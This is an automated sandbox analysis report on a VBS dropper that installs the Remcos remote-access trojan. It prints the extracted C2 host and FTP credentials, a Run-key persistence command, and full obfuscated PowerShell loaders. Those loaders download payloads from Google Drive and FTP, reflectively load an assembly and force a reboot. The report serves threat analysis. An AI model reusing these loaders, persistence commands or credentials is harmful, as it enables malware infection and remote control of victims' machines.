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Analysis
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max time kernel
147s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
23/09/2024, 23:39
Static task
static1
Behavioral task
behavioral1
Sample
4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs
Resource
win10v2004-20240802-en
General
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Target
4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs
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Size
561KB
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MD5
e5d5bfe30179b640a80ae3cc1640e486
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SHA1
5c5a868d8b688884b8a47deb61a3ee9ca08fbdd4
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SHA256
4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b
-
SHA512
cae7eac6bf7106bb663c042f1ea77393a62b6ec9555667e07736997fc69f219fa83b30fcaf1c93a4a1a300879ec0fe33aa8cdc22d303f795f36dc285639f488b
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SSDEEP
1536:kmmmmmmmmmmmmmmmmmmyFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFp:vSe
Malware Config
Extracted
https://drive.google.com/uc?export=download&id=
Extracted
Protocol: ftp- Host:
ftp.desckvbrat.com.br - Port:
21 - Username:
desckvbrat1 - Password:
developerpro21578Jp@@
Extracted
remcos
Grace
severdops.ddns.net:7717
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-P28XIL
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Blocklisted process makes network request 7 IoCs
flow pid Process 8 1764 powershell.exe 18 1764 powershell.exe 20 1764 powershell.exe 23 1764 powershell.exe 25 1764 powershell.exe 27 1764 powershell.exe 29 4280 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_q = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\Local\\Microsoft\\LocalLow\\System Update\\zzbke.ps1' \";exit" powershell.exe -
pid Process 2888 powershell.exe 4280 powershell.exe 4044 powershell.exe 1764 powershell.exe -
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 29 pastebin.com 28 pastebin.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4280 set thread context of 2284 4280 powershell.exe 104 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 4044 powershell.exe 4044 powershell.exe 1764 powershell.exe 1764 powershell.exe 1764 powershell.exe 2888 powershell.exe 2888 powershell.exe 2888 powershell.exe 4280 powershell.exe 4280 powershell.exe 4280 powershell.exe 4280 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4044 powershell.exe Token: SeDebugPrivilege 1764 powershell.exe Token: SeDebugPrivilege 2888 powershell.exe Token: SeDebugPrivilege 4280 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2284 RegAsm.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 4496 wrote to memory of 4044 4496 WScript.exe 89 PID 4496 wrote to memory of 4044 4496 WScript.exe 89 PID 4044 wrote to memory of 1764 4044 powershell.exe 91 PID 4044 wrote to memory of 1764 4044 powershell.exe 91 PID 1764 wrote to memory of 2380 1764 powershell.exe 94 PID 1764 wrote to memory of 2380 1764 powershell.exe 94 PID 1764 wrote to memory of 2888 1764 powershell.exe 98 PID 1764 wrote to memory of 2888 1764 powershell.exe 98 PID 1764 wrote to memory of 4280 1764 powershell.exe 100 PID 1764 wrote to memory of 4280 1764 powershell.exe 100 PID 1764 wrote to memory of 3560 1764 powershell.exe 101 PID 1764 wrote to memory of 3560 1764 powershell.exe 101 PID 4280 wrote to memory of 2284 4280 powershell.exe 104 PID 4280 wrote to memory of 2284 4280 powershell.exe 104 PID 4280 wrote to memory of 2284 4280 powershell.exe 104 PID 4280 wrote to memory of 2284 4280 powershell.exe 104 PID 4280 wrote to memory of 2284 4280 powershell.exe 104 PID 4280 wrote to memory of 2284 4280 powershell.exe 104 PID 4280 wrote to memory of 2284 4280 powershell.exe 104 PID 4280 wrote to memory of 2284 4280 powershell.exe 104 PID 4280 wrote to memory of 2284 4280 powershell.exe 104 PID 4280 wrote to memory of 2284 4280 powershell.exe 104 PID 4280 wrote to memory of 2284 4280 powershell.exe 104 PID 4280 wrote to memory of 2284 4280 powershell.exe 104
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4496 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9ҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦGUҼмẦdQByҼмẦHQҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦGgҼмẦdҼмẦB0ҼмẦHҼмẦҼмẦcwҼмẦ6ҼмẦC8ҼмẦLwBlҼмẦHYҼмẦaQByҼмẦHQҼмẦdQBhҼмẦGwҼмẦcwBlҼмẦHIҼмẦdgBpҼмẦGMҼмẦZQBzҼмẦHIҼмẦZQB2ҼмẦGkҼмẦZQB3ҼмẦHMҼмẦLgBjҼмẦG8ҼмẦbQҼмẦvҼмẦGMҼмẦZҼмẦҼмẦuҼмẦHQҼмẦeҼмẦB0ҼмẦCcҼмẦIҼмẦҼмẦoҼмẦCҼмẦҼмẦXQBdҼмẦFsҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦG8ҼмẦWwҼмẦgҼмẦCwҼмẦIҼмẦBsҼмẦGwҼмẦdQBuҼмẦCQҼмẦIҼмẦҼмẦoҼмẦGUҼмẦawBvҼмẦHYҼмẦbgBJҼмẦC4ҼмẦKQҼмẦgҼмẦCcҼмẦSQBWҼмẦEYҼмẦcgBwҼмẦCcҼмẦIҼмẦҼмẦoҼмẦGQҼмẦbwBoҼмẦHQҼмẦZQBNҼмẦHQҼмẦZQBHҼмẦC4ҼмẦKQҼмẦnҼмẦDEҼмẦcwBzҼмẦGEҼмẦbҼмẦBDҼмẦC4ҼмẦMwB5ҼмẦHIҼмẦYQByҼмẦGIҼмẦaQBMҼмẦHMҼмẦcwBhҼмẦGwҼмẦQwҼмẦnҼмẦCgҼмẦZQBwҼмẦHkҼмẦVҼмẦB0ҼмẦGUҼмẦRwҼмẦuҼмẦCkҼмẦIҼмẦBaҼмẦGMҼмẦQgBjҼмẦGEҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZҼмẦBhҼмẦG8ҼмẦTҼмẦҼмẦuҼмẦG4ҼмẦaQBhҼмẦG0ҼмẦbwBEҼмẦHQҼмẦbgBlҼмẦHIҼмẦcgB1ҼмẦEMҼмẦOgҼмẦ6ҼмẦF0ҼмẦbgBpҼмẦGEҼмẦbQBvҼмẦEQҼмẦcҼмẦBwҼмẦEEҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦEEҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦJMhOgCTIScҼмẦIҼмẦҼмẦoҼмẦGUҼмẦYwBhҼмẦGwҼмẦcҼмẦBlҼмẦFIҼмẦLgBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwҼмẦ0ҼмẦDYҼмẦZQBzҼмẦGEҼмẦQgBtҼмẦG8ҼмẦcgBGҼмẦDoҼмẦOgBdҼмẦHQҼмẦcgBlҼмẦHYҼмẦbgBvҼмẦEMҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦFoҼмẦYwBCҼмẦGMҼмẦYQҼмẦkҼмẦCҼмẦҼмẦXQBdҼмẦFsҼмẦZQB0ҼмẦHkҼмẦQgBbҼмẦDsҼмẦJwҼмẦlҼмẦEkҼмẦaҼмẦBxҼмẦFIҼмẦWҼмẦҼмẦlҼмẦCcҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦWҼмẦBQҼмẦFUҼмẦdQBoҼмẦCQҼмẦOwҼмẦpҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZwBuҼмẦGkҼмẦcgB0ҼмẦFMҼмẦZҼмẦBhҼмẦG8ҼмẦbҼмẦBuҼмẦHcҼмẦbwBEҼмẦC4ҼмẦcgB5ҼмẦGsҼмẦdҼмẦҼмẦkҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦOwҼмẦ4ҼмẦEYҼмẦVҼмẦBVҼмẦDoҼмẦOgBdҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHQҼмẦeҼмẦBlҼмẦFQҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwҼмẦpҼмẦCgҼмẦZQBzҼмẦG8ҼмẦcҼмẦBzҼмẦGkҼмẦZҼмẦҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦIҼмẦҼмẦnҼмẦHQҼмẦeҼмẦB0ҼмẦC4ҼмẦMQҼмẦwҼмẦEwҼмẦTҼмẦBEҼмẦC8ҼмẦMQҼмẦwҼмẦC8ҼмẦcgBlҼмẦHQҼмẦcҼмẦB5ҼмẦHIҼмẦYwBwҼмẦFUҼмẦLwByҼмẦGIҼмẦLgBtҼмẦG8ҼмẦYwҼмẦuҼмẦHQҼмẦYQByҼмẦGIҼмẦdgBrҼмẦGMҼмẦcwBlҼмẦGQҼмẦLgBwҼмẦHQҼмẦZgBҼмẦҼмẦDEҼмẦdҼмẦBhҼмẦHIҼмẦYgB2ҼмẦGsҼмẦYwBzҼмẦGUҼмẦZҼмẦҼмẦvҼмẦC8ҼмẦOgBwҼмẦHQҼмẦZgҼмẦnҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgByҼмẦHkҼмẦawB0ҼмẦCQҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦJwBҼмẦҼмẦEҼмẦҼмẦcҼмẦBKҼмẦDgҼмẦNwҼмẦ1ҼмẦDEҼмẦMgBvҼмẦHIҼмẦcҼмẦByҼмẦGUҼмẦcҼмẦBvҼмẦGwҼмẦZQB2ҼмẦGUҼмẦZҼмẦҼмẦnҼмẦCwҼмẦKQҼмẦpҼмẦDkҼмẦNҼмẦҼмẦsҼмẦDYҼмẦMQҼмẦxҼмẦCwҼмẦNwҼмẦ5ҼмẦCwҼмẦNҼмẦҼмẦxҼмẦDEҼмẦLҼмẦҼмẦ4ҼмẦDkҼмẦLҼмẦҼмẦ4ҼмẦDEҼмẦMQҼмẦsҼмẦDcҼмẦMҼмẦҼмẦxҼмẦCwҼмẦOQҼмẦ5ҼмẦCwҼмẦNQҼмẦxҼмẦDEҼмẦLҼмẦҼмẦxҼмẦDҼмẦҼмẦMQҼмẦsҼмẦDҼмẦҼмẦMҼмẦҼмẦxҼмẦCgҼмẦXQBdҼмẦFsҼмẦcgBhҼмẦGgҼмẦYwBbҼмẦCҼмẦҼмẦbgBpҼмẦG8ҼмẦagҼмẦtҼмẦCgҼмẦKҼмẦBsҼмẦGEҼмẦaQB0ҼмẦG4ҼмẦZQBkҼмẦGUҼмẦcgBDҼмẦGsҼмẦcgBvҼмẦHcҼмẦdҼмẦBlҼмẦE4ҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦG8ҼмẦLQB3ҼмẦGUҼмẦbgҼмẦgҼмẦD0ҼмẦIҼмẦBzҼмẦGwҼмẦYQBpҼмẦHQҼмẦbgBlҼмẦGQҼмẦZQByҼмẦEMҼмẦLgByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwҼмẦ4ҼмẦEYҼмẦVҼмẦBVҼмẦDoҼмẦOgBdҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHQҼмẦeҼмẦBlҼмẦFQҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦDsҼмẦMgҼмẦxҼмẦHMҼмẦbҼмẦBUҼмẦDoҼмẦOgBdҼмẦGUҼмẦcҼмẦB5ҼмẦFQҼмẦbҼмẦBvҼмẦGMҼмẦbwB0ҼмẦG8ҼмẦcgBQҼмẦHkҼмẦdҼмẦBpҼмẦHIҼмẦdQBjҼмẦGUҼмẦUwҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦgҼмẦD0ҼмẦIҼмẦBsҼмẦG8ҼмẦYwBvҼмẦHQҼмẦbwByҼмẦFҼмẦҼмẦeQB0ҼмẦGkҼмẦcgB1ҼмẦGMҼмẦZQBTҼмẦDoҼмẦOgBdҼмẦHIҼмẦZQBnҼмẦGEҼмẦbgBhҼмẦE0ҼмẦdҼмẦBuҼмẦGkҼмẦbwBQҼмẦGUҼмẦYwBpҼмẦHYҼмẦcgBlҼмẦFMҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦOwB9ҼмẦGUҼмẦdQByҼмẦHQҼмẦJҼмẦB7ҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGsҼмẦYwBhҼмẦGIҼмẦbҼмẦBsҼмẦGEҼмẦQwBuҼмẦG8ҼмẦaQB0ҼмẦGEҼмẦZҼмẦBpҼмẦGwҼмẦYQBWҼмẦGUҼмẦdҼмẦBhҼмẦGMҼмẦaQBmҼмẦGkҼмẦdҼмẦByҼмẦGUҼмẦQwByҼмẦGUҼмẦdgByҼмẦGUҼмẦUwҼмẦ6ҼмẦDoҼмẦXQByҼмẦGUҼмẦZwBhҼмẦG4ҼмẦYQBNҼмẦHQҼмẦbgBpҼмẦG8ҼмẦUҼмẦBlҼмẦGMҼмẦaQB2ҼмẦHIҼмẦZQBTҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦHsҼмẦIҼмẦBlҼмẦHMҼмẦbҼмẦBlҼмẦH0ҼмẦIҼмẦBmҼмẦC8ҼмẦIҼмẦҼмẦwҼмẦCҼмẦҼмẦdҼмẦҼмẦvҼмẦCҼмẦҼмẦcgҼмẦvҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBuҼмẦHcҼмẦbwBkҼмẦHQҼмẦdQBoҼмẦHMҼмẦIҼмẦҼмẦ7ҼмẦCcҼмẦMҼмẦҼмẦ4ҼмẦDEҼмẦIҼмẦBwҼмẦGUҼмẦZQBsҼмẦHMҼмẦJwҼмẦgҼмẦGQҼмẦbgBhҼмẦG0ҼмẦbQBvҼмẦGMҼмẦLQҼмẦgҼмẦGUҼмẦeҼмẦBlҼмẦC4ҼмẦbҼмẦBsҼмẦGUҼмẦaҼмẦBzҼмẦHIҼмẦZQB3ҼмẦG8ҼмẦcҼмẦҼмẦ7ҼмẦCҼмẦҼмẦZQBjҼмẦHIҼмẦbwBmҼмẦC0ҼмẦIҼмẦҼмẦpҼмẦCҼмẦҼмẦJwBwҼмẦHUҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBTҼмẦFwҼмẦcwBtҼмẦGEҼмẦcgBnҼмẦG8ҼмẦcgBQҼмẦFwҼмẦdQBuҼмẦGUҼмẦTQҼмẦgҼмẦHQҼмẦcgBhҼмẦHQҼмẦUwBcҼмẦHMҼмẦdwBvҼмẦGQҼмẦbgBpҼмẦFcҼмẦXҼмẦB0ҼмẦGYҼмẦbwBzҼмẦG8ҼмẦcgBjҼмẦGkҼмẦTQBcҼмẦGcҼмẦbgBpҼмẦG0ҼмẦYQBvҼмẦFIҼмẦXҼмẦBhҼмẦHQҼмẦYQBEҼмẦHҼмẦҼмẦcҼмẦBBҼмẦFwҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBaҼмẦEsҼмẦbgBZҼмẦE0ҼмẦJҼмẦҼмẦgҼмẦCgҼмẦIҼмẦBuҼмẦG8ҼмẦaQB0ҼмẦGEҼмẦbgBpҼмẦHQҼмẦcwBlҼмẦEQҼмẦLQҼмẦgҼмẦCcҼмẦJQBJҼмẦGgҼмẦcQBSҼмẦFgҼмẦJQҼмẦnҼмẦCҼмẦҼмẦbQBlҼмẦHQҼмẦSQҼмẦtҼмẦHkҼмẦcҼмẦBvҼмẦEMҼмẦIҼмẦҼмẦ7ҼмẦCҼмẦҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBzҼмẦGUҼмẦcgBvҼмẦG4ҼмẦLwҼмẦgҼмẦHQҼмẦZQBpҼмẦHUҼмẦcQҼмẦvҼмẦCҼмẦҼмẦRwBjҼмẦFcҼмẦaQBSҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBhҼмẦHMҼмẦdQB3ҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBsҼмẦGwҼмẦZQBoҼмẦHMҼмẦcgBlҼмẦHcҼмẦbwBwҼмẦCҼмẦҼмẦOwҼмẦpҼмẦCcҼмẦdQBzҼмẦG0ҼмẦLgBuҼмẦGkҼмẦdwBwҼмẦFUҼмẦXҼмẦҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦE4ҼмẦSgBUҼмẦHgҼмẦRҼмẦҼмẦkҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦRwBjҼмẦFcҼмẦaQBSҼмẦDsҼмẦKQҼмẦgҼмẦGUҼмẦbQBhҼмẦE4ҼмẦcgBlҼмẦHMҼмẦVQҼмẦ6ҼмẦDoҼмẦXQB0ҼмẦG4ҼмẦZQBtҼмẦG4ҼмẦbwByҼмẦGkҼмẦdgBuҼмẦEUҼмẦWwҼмẦgҼмẦCsҼмẦIҼмẦҼмẦnҼмẦFwҼмẦcwByҼмẦGUҼмẦcwBVҼмẦFwҼмẦOgBDҼмẦCcҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBaҼмẦEsҼмẦbgBZҼмẦE0ҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦJwB1ҼмẦHMҼмẦbQҼмẦuҼмẦG4ҼмẦaQB3ҼмẦHҼмẦҼмẦVQBcҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦTgBKҼмẦFQҼмẦeҼмẦBEҼмẦCQҼмẦIҼмẦҼмẦsҼмẦEIҼмẦSwBMҼмẦFIҼмẦVQҼмẦkҼмẦCgҼмẦZQBsҼмẦGkҼмẦRgBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦcwB0ҼмẦG0ҼмẦbwBvҼмẦCQҼмẦOwҼмẦpҼмẦHQҼмẦbgBlҼмẦGkҼмẦbҼмẦBDҼмẦGIҼмẦZQBXҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦIҼмẦB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦTwҼмẦtҼмẦHcҼмẦZQBOҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦcwB0ҼмẦG0ҼмẦbwBvҼмẦCQҼмẦOwB9ҼмẦDsҼмẦIҼмẦҼмẦpҼмẦCcҼмẦdҼмẦBPҼмẦEwҼмẦYwBfҼмẦEsҼмẦYQҼмẦzҼмẦFoҼмẦZgBvҼмẦFgҼмẦMgBKҼмẦEoҼмẦcgBWҼмẦGgҼмẦbQBWҼмẦDkҼмẦYwBtҼмẦDkҼмẦWҼмẦBzҼмẦHUҼмẦWҼмẦBtҼмẦGoҼмẦMQBnҼмẦDEҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBvҼмẦHgҼмẦSwBVҼмẦGcҼмẦJҼмẦҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦHsҼмẦIҼмẦBlҼмẦHMҼмẦbҼмẦBlҼмẦH0ҼмẦOwҼмẦgҼмẦCkҼмẦJwҼмẦyҼмẦDQҼмẦdQBYҼмẦEoҼмẦVҼмẦBxҼмẦGEҼмẦbQBnҼмẦHkҼмẦTQB0ҼмẦEYҼмẦegBhҼмẦGsҼмẦUҼмẦBSҼмẦDEҼмẦcQBfҼмẦEkҼмẦdgBHҼмẦGkҼмẦWҼмẦBOҼмẦGQҼмẦcQBhҼмẦE4ҼмẦMQҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦCgAIAA9ACAAbwB4AEsAVQBnACQAewAgACkAIAB1AE4AQwBWAHEAJAAgACgAIABmAGkAOwAgACkAJwA0ADYAJwAoAHMAbgBpAGEAdABuAG8AQwAuAEUAUgBVAFQAQwBFAFQASQBIAEMAUgBBAF8AUgBPAFMAUwBFAEMATwBSAFAAOgB2AG4AZQAkACAAPQAgAHUATgBDAFYAcQAkADsAJwA9AGQAaQAmAGQAYQBvAGwAbgB3AG8AZAA9AHQAcgBvAHAAeABlAD8AYwB1AC8AbQBvAGMALgBlAGwAZwBvAG8AZwAuAGUAdgBpAHIAZAAvAC8AOgBzAHAAdAB0AGgAJwAgAD0AIABvAHgASwBVҼмẦGcAJAA7ACkAIAAnAHUAcwBtAC4AbgBpAHcAcABVAFwAJwAgACsAIABOAEoAVAB4AEQAJAAgACgAIABsAGUAZAA7ACkAKABoAHQAYQBQAHAAbQBlAFQAdABlAEcAOgA6AF0AaAB0AGEAUAAuAE8ASQAuAG0AZQB0AHMAeQBTAFsAIAA9ACAATgBKAFQAeABEACQAewAgACkAIABkAHYAbwBmAFgAJAAgACgAIABmAGkAOwAgACkAMgAoAHMAbABhAHUAcQBFAC4AcgBvAGoAYQBNAC4AbgBvAGkAcwByAGUAVgAuAHQAcwBvAGgAJAAgAD0AIABkAHYAbwBmAFgAJAAgADsA';$kahlN = $qKKzc.replace('ҼмẦ' , 'A') ;$DLOWx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $DLOWx = $DLOWx[-1..-$DLOWx.Length] -join '';$DLOWx = $DLOWx.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs');powershell $DLOWx2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4044 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $Xfovd = $host.Version.Major.Equals(2) ;if ( $Xfovd ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$oomts = (New-Object Net.WebClient);$oomts.Encoding = [System.Text.Encoding]::UTF8;$oomts.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$tkyr = (New-Object Net.WebClient);$tkyr.Encoding = [System.Text.Encoding]::UTF8;$tkyr.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $tkyr.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$tkyr.dispose();$tkyr = (New-Object Net.WebClient);$tkyr.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $tkyr.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.dc/moc.sweiversecivreslautrive//:sptth' , $huUPX , 'true' ) );};"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
